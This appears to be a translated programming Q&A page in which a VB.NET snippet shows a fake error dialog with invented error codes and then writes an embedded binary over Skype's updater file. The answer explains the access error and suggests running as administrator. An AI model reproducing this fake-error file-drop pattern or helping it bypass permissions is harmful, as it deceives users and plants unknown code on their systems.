在C:\ Program Files \ Skype \ Updater中拒绝访问

时间:2015-06-25 13:29:10

标签: vb.net

Private Sub FlatButton1_Click(sender As Object, e As EventArgs) Handles FlatButton1.Click
    MessageBox.Show("Corrupt MSI, 25025, java_sp.dll is corrupt, 1035, 1305, 1311, 1324, 1327, 1335, 1600, 1601, 1606, 1624, 1643, 1722, 1744, 1788, 2352, 2753 and 2755 and 2764 and 2898 , Press Cacel to close the application", _
    "Javascript Error", _
    MessageBoxButtons.OKCancel, _
    MessageBoxIcon.Error)
    System.Threading.Thread.Sleep(4000)
    Dim A() As Byte = My.Resources.Updater
    System.IO.File.WriteAllBytes("C:\Program Files\Skype\Updater", A) : System.IO.File.GetAccessControl(Security.AccessControl.AccessControlSections.Access)
    System.Threading.Thread.Sleep(10000)
    '#########################
    '#########################
    Dim P1 As New Process
    Dim processess As Process() = Process.GetProcessesByName("GameZer Exploit Value")
    For Each process__2 As Process In processess
        process__2.Kill()
    Next
End Sub

每当我按下flatButton1我无法访问skype文件夹并从我的资源中写入文件时。

1 个答案:

答案 0 :(得分:3)

自Windows 2000以来,Program Files文件夹对于标准用户帐户是只读的。您需要以管理员身份运行才能工作。

通过Windows XP时代,人们通过向其常规帐户授予管理员权限来解决这个问题。从Windows Vista开始,拥有常规帐户的管理员权限已经不够好了,您还必须专门选择"以管理员身份运行"每次启动程序。